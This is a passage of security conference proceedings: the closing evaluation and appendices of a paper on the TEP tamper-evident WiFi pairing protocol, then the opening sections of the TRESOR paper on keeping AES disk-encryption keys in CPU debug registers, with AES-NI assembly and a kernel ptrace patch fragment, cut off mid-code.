In TEP, a receiver detects a TEA if the medium is contin-

uously occupied for a period longer than the duration of a

synchronization packet (19 ms). We would like to check

that a receiver is unlikely to encounter false positives

while detecting synchronization packets. False positives

could occur in two scenarios: either (1) legitimate traffic

includes such continuous long bursts of energy, or (2)

a TEP receiver is incapable of detecting the short DIFS

intervals that separate legitimate packets, and mistakes a

sequence of back-to-back WiFi packets as a continuous

burst of energy.5 We empirically study each case below.

Experiment 1. We first check whether legitimate traf-

fic can cause the medium to be continuously occupied

for a duration of 19 ms. We use two production net-

works: our campus network and the SIGCOMM 2010

network. Since we would like to capture all kinds of en-

ergy bursts, including collisions, we sense the medium

using USRP2 radios. USRP2s allow us to directly look

at the signal samples and hence are much more sensitive

than 802.11 cards. We used a USRP2 board to eavesdrop

on the channel on which these networks operate and log

the raw signal samples. In order to compute the length of

bursts on the channel, we need to be able to identify the

beginning of a burst and its end in an automated way. To

5A data packet and its ACK are separated by a SIFS, which is smaller

than a DIFS, but ACKs are short packets and the next data packet is

separated by a DIFS. Hence the maximum packing occurs with back-to-

back data packets without ACKs.

do so, we use the double sliding window packet detection

algorithm6 typically used in hardware to detect packet

arrivals [23]. We collected over a million packets on the

SIGCOMM network and about the same number on our

campus network. We processed each trace to extract the

energy bursts and their durations (as explained above) and

plot the CDF of energy burst durations in Fig. 8.

Result 1. The results in Fig. 8 show that all energy

bursts in both networks lasted for less than 4.3 ms, which

is much shorter than a TEP synchronization packet. In par-

ticular, the majority of energy bursts last between 0.25 ms

and 2 ms. This corresponds to a packet size of 1500 bytes

transmitted at a bit rate between 6 Mb/s and 48 Mb/s,

which spans the range of 802.11g bit rates. A few bursts

lasted for less time which are likely to be short ACK pack-

ets. Also a few bursts have lasted longer than 2 ms. Such

longer bursts are typically due to collisions. Fig. 9 illus-

trates this case, where the second packet starts just before

the first packet ends, causing a spike in the energy level

on the channel. Soon after, the first packet ends, causing

the energy to drop again, but the two transmissions have

already collided.7 Interestingly, the bit rates used in our

campus network are lower than those used at SIGCOMM.

This is likely because at SIGCOMM, the access point was

in the conference room and in line-of-sight of senders and

receivers, while in our campus, an access point serves

multiple offices that span a significant area and are rarely

in line-of-sight of the access point.

Overall, the results in Fig. 8 indicate that bursts of

energy in today’s production networks have significantly

shorter durations than TEP’s synchronization packet, and

hence are unlikely to cause false positives.

Experiment 2. The second scenario in which a node

may incorrectly detect a synchronization packet occurs

when the node confuses a sequence of back-to-back pack-

ets separated by DIFS as a single continuous energy burst.

Thus, we evaluate our prototype’s ability to distinguish

a synchronization packet from a stream of back-to-back

802.11 packets. To do so, we randomly pick two random

nodes in our testbed in Fig. 5, and make one node trans-

mit a stream of back-to-back 1500-byte packets at the

lowest rate of 1 Mbps, while the other node senses the

6The double sliding window algorithm compares the energy in two

consecutive sliding windows. If there is no packet, i.e., the two windows

are both capturing noise, the ratio of their energy is around one. Simi-

larly, if both windows are already in the middle of a packet, their relative

energy is one. In contrast, when one window is partially sliding into a

packet while the other is still capturing noise, the ratio between their

energy starts increasing. The ratio spikes, when one window is fully

into a packet while the other is still fully in the noise, which indicates

that the beginning of the packet is at the boundary between the two

windows. Analogously, a steep dip in energy corresponds to the end of

a packet [23].
7Collisions of two 1500-byte packets transmitted at 6 Mb/s may be

slightly longer than 4 ms because of the additional symbols correspond-

ing to link layer header and trailer, and the PHY layer preamble.
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Figure 9: The energy pattern of the maximum energy burst in

the SIGCOMM trace. The figure indicates that such relatively long

bursts are due to collisions at the lowest bit rate of 6 Mb/s. The

other spikes correspond to packets sent at higher bit rates.
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Figure 10: CDF of fractional occupancy measured by a receiver

for transmissions of either a synchronization packet or a sequence

of back-to-back 1500-byte packets separated by DIFS. The figure

shows a full separation between the two CDFs, indicating that a

TEP receiver does not confuse back-to-back packets as a synchro-

nization packet.
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Figure 11: Energy pattern for TEA slots in the presence of a

Bluetooth device causing interference.

medium using the default sensing window of 2 ms. We

then make the same sender transmit a stream of synchro-

nization packets while the receiver senses these packets

using a 2 ms window. For both cases, we compute the

fractional occupancy in each sensing window. We repeat

the experiment with multiple node pairs and compare the

fractional occupancy during back-to-back packets and

synchronization packets.

Result 2. Fig. 10 compares the CDF of the fractional

occupancy during a synchronization packet and the CDF

of the fractional occupancy when the sensing window in-

cludes back-to-back packets separated by a DIFS,8 taken

over 100K synchronization packets and 100K DIFS oc-

currences. The figure shows that the two CDFs are suf-

ficiently separate making it unlikely that TEP confuses

back-to-back packets as a synchronization packet.

8Sometimes the DIFS may be split between two consecutive sensing

windows, in this case we include in the CDF whichever of these two

window has the lower fractional energy. This is because it is sufficient

that one sensing window shows a relatively low fractional occupancy to

declare the end of energy burst.
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Figure 12: Number of attempts required for TEP to successfully

pair in the presence of an interfering Bluetooth device.

7.4 Performance with Non-802.11 Traffic

Finally, while 802.11 nodes comply with the rules of CTS-

to-SELF, and abstain from transmitting during TEA’s ON-

OFF slots, other devices may continue to transmit, caus-

ing TEA nodes to detect tampering. Fig. 11 shows a

collision between a TEA and a Bluetooth transmission

from an Android phone as captured by a USRP2. Blue-

tooth devices do not typically decode 802.11 CTS-to-

SELF packets, and hence, as shown in the figure, end up

transmitting during the ON-OFF slots. In this section we

examine the impact of a nearby Bluetooth device on TEA.

Experiment. We place a TEA sender in location 1

(Fig. 5) and make other nodes act as TEA receivers. We

co-locate a Bluetooth device next to the TEA sender. The

sender periodically sends an announcement. The receivers

first detect the synchronization packets, decode the CTS-

to-SELF, and then try to verify the slots. If the receiver

can successfully verify, it declares success. Otherwise, it

attempts to verify the slots in the next time period.

Results. Fig. 12 shows the CDF of the number of

required attempts before a TEA receiver succeeds in re-

ceiving a correct TEA. Bluetooth transceivers operate on

79 bands in 2402-2480 MHz and frequently jump across

these bands. Thus, the probability that they interfere with

TEA in successive runs of the protocol is relatively low.

The figure shows that, even in the presence of Bluetooth

devices which cannot decode a CTS-to-SELF, a TEA re-

ceiver requires 1.4 attempts on average, and 4 attempts

maximum, before it receives the announcement.

8 CONCLUSION

This paper presented Tamper-Evident Pairing (TEP), the

first wireless pairing protocol that works in-band, with

no pre-shared keys, and protects against MITM attacks.

TEP relies on a Tamper-Evident Announcement (TEA)

mechanism, which guarantees that an adversary cannot

tamper with either the payload in a transmitted message,

or with the fact that the message was sent. We formally

proved that the design protects from MITM attacks. Fur-

ther, we implemented a prototype of TEA and TEP for the

802.11 wireless protocol using off-the-shelf WiFi devices,

and showed that TEP is practical on real-world 802.11

networks and devices.

14



USENIX Association  20th USENIX Security Symposium 249

ACKNOWLEDGMENTS

We thank Ramesh Chandra, James Cowling, Haitham Hassaneih,

Nate Kushman, Jad Naous, Benjamin Ransford, and our shep-

herd Diana Smetters for their insightful comments. We also

thank Jukka Suomela and Piotr Indyk for help with the efficient

bit-balancing algorithm in the Appendix. This work is funded

by NSF and SMART-FM.

REFERENCES

[1] Atheros linux wireless driver. http://wireless.

kernel.org/en/users/Drivers/ath5k.

[2] D. Balfanz, G. Durfee, D.K.Smetters, and R. Grinter. In

search of usable security – five lessons from the field. IEEE

Journal on Security and Privacy, 2(5):19–24, September–

October 2004.

[3] S. M. Bellovin and M. Merritt. Encrypted key exchange:

Password-based protocols secure against dictionary at-

tacks. In Proceedings of the 13th IEEE Symposium on

Security and Privacy, Oakland, CA, May 1992.

[4] V. Boyko, P. MacKenzie, and S. Patel. Provably secure

password-authenticated key exchange using diffie-hellman.

In B. Preneel, editor, Advances in Cryptology—Eurocrypt

2000, volume 1807 of Lecture Notes in Computer Science,

pages 156–171. Springer-Verlag, 2000.
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A BIT-BALANCING ALGORITHM

TEA’s bit-balancing algorithm takes an even number, N, of input

bits and produces M = N +2⌈logN⌉ output bits which have an

equal number of zeros and ones. If the input sequence has an

odd number of bits, we pad a 1 bit to it to make it an even length

sequence.

Let the input bit sequence of our algorithm be denoted by

IN, and the output bit-balanced sequence be denoted by OUT .

We define D0 to be the difference between the number of ones

and zeros in the input IN. Also Di is defined as the difference

between the number of ones and zeros after flipping the first i

15
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Input Sequence: 1 0 0 0, D0 = −2

i = 1 : 1 0 0 0 → 0 0 0 0, D1 = −4

i = 2 : 0 0 0 0 → 0 1 0 0, D2 = −2

i = 3 : 0 1 0 0 → 0 1 1 0, D3 = 0

Output Sequence: 0 1 1 0 1 0 0 1

Table 2: Example run of our 0-1 balanced function

bits in the input IN. Our algorithm works as follows.

• Step 1: Compute the difference D0 between the number of

ones and number of zeros in IN. Set i to 1 and S0 to IN.

• Step 2: Flip the ith bit in Si−1 to get Si. Then compute the

new difference, Di as Di = Di−1 ±2 depending on whether

the ith bit is one or zero.

• Step 3: If Di = 0, then set INDEX to i and OUTtemp to Si and

go to Step 4. Otherwise increment i and go to Step 2.

• Step 4: Set the output OUT to be the concatenation of

OUTtemp and the Manchester encoding of the bit represen-

tation of INDEX − 1. Since SINDEX is N bits long and the

Manchester encoding of INDEX −1 is 2⌈log(N)⌉ bits long,

the output OUT is N +2⌈log(N)⌉ bits long.

To see how the above algorithm works, let us take the 4 bit

input sequence, 1000, shown in Table 2. The difference D0 for

this sequence is −2. In the first iteration, we flip the first bit to

get the bit sequence 0000 which has a difference D1 = −4. In

the second iteration, we flip the second bit to get 0100 which has

a difference D2 = −2. Finally, in the third iteration, we flip the

third bit to get 0110 which has a difference D3 = 0. Thus, we

output this sequence concatenated with the Manchester encoding

of 3−1, which is 1001. Thus, the bit balanced output sequence

is 01101001.

The above algorithm relies on the fact that there exists an

INDEX bit position for which DINDEX = 0. Such an INDEX al-

ways exists for the following reason. First, because the sequence

S0 has an even number of bits, D0 is even. Further, for every bit

flipped, Di differs from Di−1 by exactly ±2. Finally, since SN is

the bitwise opposite of S0 and thus DN = −D0, there must exist

an INDEX for which DINDEX = 0.

Note that this is a one-to-one mapping and the decoding

can be done in linear time. Specifically the decoder takes the

last 2⌈log(N)⌉ bits and constructs INDEX from its Manchester

encoding. Then it takes the first N bits and flips the first INDEX

bits in the first N bits to get the original bit sequence.

B REDUCING MEDIUM OCCUPANCY

TEP’s specifications in §5.2 ensure that if there is any possibility

that a registrar missed a TEA request (i.e., if TEA RECV GET

returned RETRY or OVERLAP), that registrar will immediately

transmit a TEA reply, without regard for carrier-sense. Thus, if,

by some chance, multiple registrars transmit overlapping replies

at almost the same time, each of them will then assume it may

have missed a request from some enrollee (since it sensed a

concurrent TEA message), and each will re-send its reply. This

cycle of replies may continue until each registrar’s PBC walk

time (120 sec) expires. This section shows how to modify the

basic TEP protocol to avoid occupying the medium for 120

seconds in this situation.

To address this issue, we make two changes to the TEP pro-

tocol from §5.2. First, the registrar does not re-transmit replies

if all of the possibly-missed TEA requests overlapped with its

previous transmission. In other words, the registrar performs

TEA SEND only if m �= OVERLAP. Not re-sending the reply

is safe only if enrollees whose requests may not get a reply

also learn of the TEA overlap (and thus return a session overlap

error). To guarantee this, we make a second change, to the

enrollee, so that it listens for tea duration both before and af-

ter transmitting its request. This ensures that an enrollee hears

any TEA replies (from registrars) that overlap its own TEA

request. (As before, if an enrollee detects a TEA message it

cannot decode, it triggers a session overlap error.) Thus, the en-

rollee pseudo-code is augmented as follows (changing the loop

duration and introducing an additional SLEEP before sending):

r ← ∅

for 120 sec+#channels× (tx tmo+3× tea duration) do

⊲ walk time + max enrollee scan period

switch to next 802.11 channel

h ← TEA RECV START (reply)
SLEEP (tea duration)
TEA SEND (request, enroll info, now+ tx tmo)
SLEEP (tea duration)
r ← r ∪ TEA RECV GET (h)

end for

The registrar must also wait for the same increased loop time

to accommodate the modified enrollee. With these changes,

TEP safely avoids occupying the medium for the whole walk

time in cases when multiple registrars hear each other’s replies.

B.1 Extending the Security Proof

Next, we prove that the above optimization is secure.

Proposition B.1 An enrollee and registrar following the opti-

mized TEP protocol (from Appendix B) cannot be tricked into

accepting an incorrect public key, as in Prop. 7.4.

Proof The only change in the optimized protocol that affects

the proof for Prop. 7.4 is that the registrar does not resend its

reply when m = OVERLAP. The registrar still computes the

same set e of enrollee messages as in Prop. 7.4, and therefore

cannot be tricked into accepting an incorrect public key.

We prove that the enrollee also cannot be tricked, by contra-

diction. Suppose that the enrollee is tricked into accepting the

wrong key. From the proof of Prop. 7.4, this must be because

the registrar did not respond to the enrollee’s request. This must

be because the registrar’s TEA RECV GET returned OVERLAP,

i.e., the registrar missed zero or more requests, all of which

overlapped the registrar’s TEA SEND. Thus, the enrollee must

have transmitted its request within tea duration of the registrar

transmitting a reply.

By the enrollee pseudo-code in Appendix B, the enrollee was

listening for TEA messages for tea duration before and after

sending its request. If the enrollee’s TEA RECV GET returned

the registrar’s reply, the enrollee could not have accepted a dif-

ferent key (by Prop. 7.4). Thus, the enrollee’s TEA RECV GET

must have returned RETRY or OVERLAP . But in both of these

cases, the enrollee would not have accepted any key. Thus, by

contradiction, the enrollee cannot be tricked, and the optimized

TEP protocol is secure. �

16



USENIX Association  20th USENIX Security Symposium 251

TRESOR Runs Encryption Securely Outside RAM

Tilo Müller Felix C. Freiling
Department of Computer Science

University of Erlangen

Andreas Dewald
Laboratory for Dependable Distributed Systems

University of Mannheim

Abstract

Current disk encryption techniques store necessary keys
in RAM and are therefore susceptible to attacks that tar-
get volatile memory, such as Firewire and cold boot at-
tacks. We present TRESOR, a Linux kernel patch that
implements the AES encryption algorithm and its key
management solely on the microprocessor. Instead of us-
ing RAM, TRESOR ensures that all encryption states as
well as the secret key and any part of it are only stored
in processor registers throughout the operational time of
the system, thereby substantially increasing its security.
Our solution takes advantage of Intel’s new AES-NI in-
struction set and exploits the x86 debug registers in a
non-standard way, namely as cryptographic key storage.
TRESOR is compatible with all modern Linux distribu-
tions, and its performance is on a par with that of stan-
dard AES implementations.

1 Introduction

Disk encryption is an increasingly used method to protect
confidential information in computer systems. It is par-
ticularly effective for mobile systems, such as laptops,
since these are frequently lost or stolen [29]. With the
growing availability of disk encryption systems, crimi-
nals and law enforcement alike have started to explore
ways to circumvent this protection. Since current disk
encryption techniques store keys in main memory, one
approach to access the encrypted data is to acquire the
key physically.

When physical access to the machine is given, keys
can be extracted from main memory of running and sus-
pended machines without privileged user access. Such
attacks can broadly be classified into DMA attacks and
cold boot attacks. DMA attacks use direct memory ac-
cess through ports like Firewire [4, 3, 5], PCI [6, 28, 13],
or PC Card [8, 17] to access RAM, while cold boot at-
tacks [14] exploit the fact that memory contents fade

away gradually over time. This allows to restore RAM
contents after a short power-down by rebooting the ma-
chine with a boot device that directly reads out memory.
Widespread disk encryption systems like BitLocker [1]
(Windows), FileVault (MacOS), dm-crypt [30] (Linux),
and TrueCrypt [36] (multi-platform) do not protect
against such attacks. The current technological response,
namely to keep the key in RAM but obfuscate its pres-
ence by using dispersal techniques, only partly counters
the threat of memory attacks.

1.1 TRESOR

In this paper, we present the design and implementa-
tion of TRESOR (pronounced [trε:zoa]), a Linux kernel
patch for the x86 architecture that implements AES in a
way that is resistant to the attacks mentioned above and
hence, allows for disk drive encryption with improved
security.

TRESOR runs encryption securely outside RAM. Its
underlying idea is to avoid RAM usage completely by
both storing the secret key in CPU registers and running
the AES algorithm entirely on the microprocessor. To-
wards this goal, TRESOR (mis)uses the debug registers
as secure cryptographic key storage. While the princi-
ple of TRESOR is basically applicable to most x86 com-
patible CPUs, we focus on an implementation exploiting
Intel’s new AES-NI [31] extensions. The new AES in-
structions, currently available on all Core i7 processors
and most Core i5, allow for accelerated AES using short
and efficient code which implements most of the crypto-
graphic primitive in hardware.

On systems running TRESOR, setting hardware
breakpoints is no longer possible because the breakpoint
registers are occupied with key data. However, as there
are only four breakpoint registers, debuggers like GDB
must deal with the possibility that all of them are busy
anyway, for example, when more than four are set in par-
allel.

1



252 20th USENIX Security Symposium USENIX Association

1.2 Related Work

TRESOR is the successor of AESSE [24], which was
our prototype implementation but not well applicable in
practice because it incurred two major problems. First,
the Streaming SIMD Extension (SSE) [34] were used
as key storage, breaking binary compatibility with many
multimedia, math, and 3d applications. Second, AESSE
was a pure software implementation and, due to the
shortage of space inside CPU registers, the algorithm
performed about six times more slowly than comparable
standard implementations of AES.

During the work on TRESOR, Simmons indepen-
dently developed a system called Loop-Amnesia [27]
which pursues the same idea of holding the crypto-
graphic key solely in CPU registers. In difference to
TRESOR, Loop-Amnesia stores the key inside machine
specific registers (MSRs) rather than in debug registers.
Currently, it does not support the AES-NI instruction set
and only a 128-bit version of AES. However, it allows to
store multiple disk encryption keys securely inside RAM
by scrambling them with a master key.

With BitArmor [23] there exists a commercial solution
that claims to be resistant against cold boot attacks in par-
ticular. But as BitArmor does not generally avoid storing
the secret key in RAM, it cannot protect from other at-
tacks against main memory. Consequently, its cold boot
resistance is not perfect, too (though quite good to resist
the most common attacks of this kind).

Additionally, Pabel proposed a solution called Frozen
Cache [21, 22] that exploits CPU caches rather than reg-
isters as secure key storage outside RAM. To our knowl-
edge, this project is currently work in progress at an early
development stage. Although it is a nice idea, a secure
and efficient implementation is very difficult, if possible
at all, because x86 caches can hardly be controlled by the
system programmer.

Last, hardware solutions like Full Disk Encryption
Hard Drives (HDD-FDE) [16, 35] use specialized crypto
chips for encryption instead of the system CPU and
RAM. Indeed, this is an effective method to defeat mem-
ory attacks, but it does not compete with TRESOR as a
software solution. In our opinion, software solutions are
not obsolete as they have several advantages: they are
cheaper, highly configurable, vendor independent, and,
last but not least, quickly employable on many existing
machines.

1.3 Contributions

The central innovations of TRESOR are storing the se-
cret key in CPU registers and utilizing AES-NI for en-
cryption. AES-NI offers encryption (and decryption)
primitives directly on the processor. This, however,

does not mean that AES-NI based implementations of
AES withstand memory attacks out-of-the-box. A typ-
ical AES-NI based implementation uses RAM to store
the secret key and, for reasons of performance, the key
schedule. The AES key schedule is required by the indi-
vidual AES rounds and is generally computed only once
and then stored inside RAM to speed up the encryption
process. In contrast, TRESOR implements AES using
AES-NI without leaking any key-related data to RAM.

The contributions of this paper are:

• We implement AES without storing any sensitive
information in RAM.

• To this end, we present a kernel patch (TRESOR)
that is binary compatible with all Linux distribu-
tions.

• We show that by using Intel’s new AES-NI instruc-
tions, the performance of TRESOR is as fast (even
slightly faster) than standard AES implementations
that use RAM.

• By running TRESOR in a virtual machine and con-
stantly monitoring its main memory, we demon-
strate that TRESOR can withstand considerable ef-
forts to compromise the encryption key. The only
method to access the key with reasonable effort is
compromising the system space, using a loadable
kernel module, for example. Many other attacks,
such as hardware attacks targeting processor regis-
ters, are defeated by TRESOR.

Overall, TRESOR is a disk encryption system that is
both secure against main memory attacks and well appli-
cable in practice.

1.4 Outline
The rest of this paper is structured as follows: In Sec-
tion 2 we explain our design choices and give imple-
mentation details. We have evaluated TRESOR regard-
ing three aspects: compatibility (Section 3), performance
(Section 4) and, most importantly, its security (Sec-
tion 5). We conclude in Section 6.

2 Design and Implementation

We now give an overview over design choices regarding
the interface and the implementation of TRESOR.

2.1 Security Policy
The goal of TRESOR is to run AES entirely on the mi-
croprocessor without using main memory. This implies
that neither the secret key, nor the key schedule, nor any

2
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intermediate state should ever get into RAM. With this
restrictive policy, any attacks against main memory be-
come useless. But such an implementation cannot be
achieved simply in user space for two reasons:

• First of all, user space is affected by scheduling,
meaning that CPU registers are frequently swapped
out to RAM due to context switching. That is the
key and/or intermediate states of AES would reg-
ularly enter RAM – even though AES was imple-
mented to run solely on the microprocessor.

• Second, the key storage registers should not be ac-
cessible from unprivileged tasks. Otherwise a local
attacker could easily read out and overwrite the key.

Both problems can only be solved by implementing
TRESOR in kernel space. To suppress context switching,
we run AES atomically. The atomic section is entered
just before an input block is encrypted and left again
right afterwards. Therefore, we can use arbitrary CPU
registers to encrypt a block; we just have to reset them
before leaving the atomic section. This guarantees that
no sensitive data leaks into RAM by context switches.
Between the encryption of two blocks, scheduling and
context switches can take place as usual, so that the in-
teractivity of multitasking environments is not affected.

To restrain userland from reading out the secret key, it
is stored inside a CPU register set accessible only with
ring 0 privileges. Any attempt to read or write the debug
registers from other privilege levels generates a general-
protection exception [18]. This defeats attackers who
gained local user privileges and try to read out the key
on software layer.

Due to the necessity to implement TRESOR in sys-
tem space, we choose Linux for our solution because of
its open source kernel. But in general our approach is
portable to any x86 operating system.

2.2 Key management
AES uses a symmetric secret key for encryption and de-
cryption. We now show how this key is managed by
TRESOR.

Key storage

The first question regarding key management is: In
which registers is the key stored within the proces-
sor? We now discuss several requirements these registers
should meet.

Since the key registers are exclusively reserved over
the entire uptime of the system, they will not be avail-
able for their designated use. Hence, to preserve bi-
nary compatibility with as many existing applications as

possible, only seldom used registers are qualified to act
as cryptographic key storage. Frequently used registers,
like the general purpose registers (GPRs), are not an op-
tion since all computer programs need to read from and
write to those registers. The loss of registers occupied by
TRESOR should not break binary compatibility.

Another requirement is that the key registers should
not be readable from user space as this would allow any
unprivileged process to read or write the secret key. A
key stored in GPRs, for example, could not be hidden
from userland as the GPRs are an unprivileged resource,
available to all processes.

Last but not least, the register set must be large enough
to hold AES keys, i.e., 128 bits for AES-128, 192 bits
for AES-192, and 256 bits for AES-256, respectively. A
single register is too small to hold AES keys – on both
32- and 64-bit systems and thus, we have to use a set of
registers.

Summarizing, a register set must satisfy four require-
ments to act as cryptographic key storage. The key reg-
isters must be:

1. seldom used by everyday applications,
2. well compensable in software,
3. a privileged resource, and
4. large enough to store at least 128, better 256 bits.

After considering all x86 registers we chose the de-
bug registers, because they meet these requirements as
we explain now.

The debug register set comprises four breakpoint reg-
isters dr0 to dr3, one status register dr6 and one con-
trol register dr7. Depending on the operating mode,
dr4 and dr5 are reserved or just synonyms for dr6 and
dr7. Thus, the only registers which can be freely set to
any value, are the four breakpoint registers dr0 to dr3.
On 32-bit systems these have 4 × 32 = 128 bits in to-
tal, just enough to store the secret key of AES-128. But
on 64-bit systems these have 4 × 64 = 256 bits in total,
enough to store any of the defined AES key lengths 128,
192, and 256 bits. 1

The actual intention of breakpoint registers is to hold
hardware breakpoints and watchpoints – features which
are only used for debugging. And even for debugging
their functionality can be compensated quite well in soft-
ware, because software breakpoints can be used instead
of hardware breakpoints. TRESOR reserves all four
x86 breakpoint registers exclusively as key storage, i.e.,
TRESOR reduces the number of available breakpoint
registers for other applications from at most 4 to always

1Although the principle of TRESOR is applicable to 32-bit systems,
we recommend the usage of 64-bit CPUs to support full AES-256. In-
tel’s Core-i processors are such 64-bit CPUs; these processors are also
recommended because of their AES-NI support.

3
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0. Since the breakpoint registers may be in use anyhow,
by debuggers for example, unavailability of them can
happen regularly as well, and thus, applications should
be able to tolerate lack of them. This ensures binary com-
patibility with almost all user space programs.

Debug registers are a privileged resource of ring 0,
meaning that none of the user space applications running
in ring 3 can access debug registers directly. Any such
access is done via system calls, namely via ptrace.
As we show later, we patched the ptrace system call
to return -EBUSY whenever a breakpoint register is re-
quested, to let the user space know all of them are busy.

Key derivation

The key we store in debug registers is derived from a user
password by computing a SHA-256 based message di-
gest. To resist brute force attacks, we strengthen the key
by applying 2000 iterations of the SHA-256 algorithm.
The password consists of 8 to 53 printable characters2

and is read from the user early during boot by an ASCII
prompt, directly in kernel space. Only in kernel space
we have full control over side effects like scheduling and
context switching.

But how do we actually compute the key and get it into
debug registers without using RAM? The answer is, that
we do use RAM for this transaction – but only for a very
short time frame during system startup. Although there
is a predefined implementation of SHA-256 in the ker-
nel, we implemented our own variant to ensure that all
memory lines holding sensitive information, like parts of
the key or password, are erased after usage. That is, dur-
ing boot, password and key do enter RAM very briefly.
But immediately afterwards, the key is copied into debug
registers and all memory traces of it are overwritten. All
this happens before any userland process comes to life.

Once the key has been entered and the machine is up
and running, it cannot be changed from user space dur-
ing runtime as it would be impossible to do so without
polluting RAM. The password must only be re-read upon
ACPI wakeup, because during suspend mode, the CPU is
switched off and its context is copied into main memory.
Naturally, we bar the debug registers from being copied
into RAM, and hence, the key is lost during suspension
and the password must be re-entered. Again, this hap-
pens early in the wakeup process, directly in kernel space
before any user mode process is unfrozen.

On 64-bit systems, like Intel’s Core-i series, we copy
always 256 key bits into the debug registers and each
of the AES variants (AES-128, AES-192, and AES-256)
takes as many bits from the key storage as it needs. On

2 More characters do not add to security as it becomes easier to
attack the key itself rather than the password because 9553 � 2256.

multi-core processors, we copy the key bits into the de-
bug registers of all CPUs. Otherwise we constantly had
to ensure that encryption runs on the single CPU which
holds the key. In terms of performance such migration
steps are very costly and it is more efficient to duplicate
the AES key onto all CPUs once. Furthermore, this al-
lows us to run several TRESOR tasks in parallel.

2.3 AES implementation
The challenge we faced was implementing the AES algo-
rithm without using main memory. This implies we were
not allowed to store runtime variables on the stack, heap
or anywhere else in the data segment. Naturally, our im-
plementation was written in assembly language, because
neither the usage of debug registers as key storage nor
the avoidance of the data segment is supported by any
high-level language compiler.

Encryption algorithm

Storing only the secret key in CPU registers would al-
ready defeat common attacks on main memory, but fol-
lowing our security policy mentioned above, absolutely
no intermediate state of AES and its key schedule should
get into RAM. This aims to thwart future attacks and
cryptanalysis. In other words, after a plaintext block is
read from RAM, we write nothing but the scrambled out-
put block back. No valuable information about the AES
key or state is visible in RAM at any time.

From earlier experiments with AESSE [24], we were
concerned about the performance penalty of encryption
methods implemented without RAM. We therefore in-
vestigated the utilization of the AES-NI instruction set
of new Intel processors [31]. AES-NI allows for hard-
ware accelerated implementations of AES by providing
the instructions aesenc, aesenclast, aesdec, and
aesdeclast. Each of them performs an entire AES
round with a single instruction, exclusively on the pro-
cessor without involving RAM. Hence, they are compat-
ible with our design.

Overall, utilizing AES-NI has several advantages:

• The code is clear and short.
• It runs without RAM usage.
• It is highly efficient.

The four AES instructions mentioned above work on
two operands, the AES state and an AES round key; the
round key is used to scramble the state. Instead of using
memory locations for these operands, the AES instruc-
tions work on SSE registers. On 64-bit systems there
are sixteen 128-bit SSE registers xmm0 to xmm15. AES
states and AES round keys exactly fit into one SSE reg-
ister as they encompass 128 bits, too.
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pxor %xmm0, %xmm15
aesenc %xmm1, %xmm15
aesenc %xmm2, %xmm15
aesenc %xmm3, %xmm15
aesenc %xmm4, %xmm15
aesenc %xmm5, %xmm15
aesenc %xmm6, %xmm15
aesenc %xmm7, %xmm15
aesenc %xmm8, %xmm15
aesenc %xmm9, %xmm15
aesenclast %xmm10,%xmm15

Figure 1: AES-128 encryption using AES-NI

Figure 1 shows assembly code of the AES-128 encryp-
tion algorithm. Each line performs one of the ten encryp-
tion rounds. The second parameter (xmm15) represents
the AES state and the first ten (xmm1 to xmm10) the AES
round keys. Writing a plaintext block into xmm15, the
secret key into xmm0, and the round keys into their re-
spective registers xmm1 to xmm10, these ten lines of as-
sembly code suffice to generate an AES encrypted output
block in xmm15.

The decryption algorithm of AES-128 basically looks
the same, just utilizing aesdec instead of aesenc and
applying the round keys in reverse order. The imple-
mentations of AES-192 and AES-256 basically look the
same, too, just performing twelve or 14 rounds instead of
ten.

Round key generation

The difficulty to implement AES completely within the
microprocessor stems from the structure of the AES al-
gorithm. As shown in Figure 1, encryption works with
round keys which we assumed to be stored in xmm1 to
xmm10. In conventional AES implementations, these
round keys are calculated once and then stored inside
RAM over the entire lifetime of the system. Only when
needed, they are copied from RAM into SSE registers to
be used in combination with AES-NI.

In TRESOR we cannot calculate the AES key sched-
ule beforehand and store it inside RAM as this would
obviously violate our security policy. On the other hand,
we cannot store the entire key schedule in CPU registers
either, because debug registers are too small to hold it and
we do not want to occupy further registers for TRESOR.
Consequently, we have to use an on-the-fly key schedule
that recalculates the round keys each time when enter-
ing the atomic section. This means the round keys must
be recalculated for each input block. Inside the atomic
section we can safely store the round keys inside SSE
registers as they are known not to be swapped out during

this period.
Fortunately, the AES-NI extensions comprise an in-

struction for hardware accelerated round key generation,
namely aeskeygenassist. Apparently, recomput-
ing the entire key schedule again and again is a signifi-
cant performance drawback compared to standard imple-
mentations of AES. By using this specialized instruction,
key generation is relatively efficient, as we show later in
this paper.

.macro key_schedule last next rcon
pxor %xmm14,%xmm14
movdqu \last,\next
shufps $0x1f,\next,%xmm14
pxor %xmm14,\next
shufps $0x8c,\next,%xmm14
pxor %xmm14,\next
aeskeygenassist $\rcon,\last,%xmm14
shufps $0xff,%xmm14,%xmm14
pxor %xmm14,\next

.endm

Figure 2: AES-128 round key generation

Figure 2 lists assembly code to generate the next
round key of AES-128. As each round key computa-
tion is based on slightly different parameters, we de-
fine a macro called key schedule awaiting these pa-
rameters: last is an SSE register containing the pre-
vious round key, next is one that is free to store
the next round key and rcon is an immediate byte,
the round constant. Inside this macro xmm14 is uti-
lized as temporary helping register. To generate the
ten round keys of AES-128, key schedule has to
be called ten times: key schedule %xmm0 %xmm1
0x1, key schedule %xmm1 %xmm2 0x2, and so
on. Initially the secret key has to be copied from debug
registers into xmm0.3

Using AES-NI it is more complex to generate round
keys than to actually scramble or unscramble blocks, be-
cause with aeskeygenassist Intel provides an in-
struction to assist the programmer in key generation, but
none to perform it autonomously. We conjecture that
this is because key generation of the three AES variants
AES-128, AES-192, and AES-256 differs slightly (for
details see the original standard on AES [12]).

2.4 Kernel patch

Many operating system issues have to be solved when
implementing encryption solely on processor registers.

3A full source code listing including all steps can be found in Ap-
pendix A.1.
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As mentioned above, we have to patch the OS kernel for
two reasons: First, we have to run parts of AES atomi-
cally in order to ensure that no intermediate state leaks
into memory during context switches. Second, only in
kernel space we can protect the debug registers from be-
ing overwritten or read out by unprivileged user space
threads. We chose the most recent Linux kernel at that
time (version 2.6.36) to implement these changes.

Key protection

For the security of TRESOR it is essential to protect the
key storage against malicious user access. Even if no lo-
cal attacker would read the debug registers on purpose,
the risk remains that a debugger is started accidentally
and pollutes the key storage. With a disk encryption sys-
tem being active in parallel, such a situation would im-
mediately lead to data corruption. Hence, the kernel must
be patched in a way that it denies any attempt to access
debug registers from user space.

int ptrace_set_debugreg
(tsk_struct *t,int n,long v)

{
thread_struct *thread = &(t->thread);
int rc = 0;
if (n == 4 || n == 5)

return -EIO;
+ #ifdef CONFIG_CRYPTO_TRESOR
+ else if (n == 6 || n == 7)
+ return -EPERM;
+ else
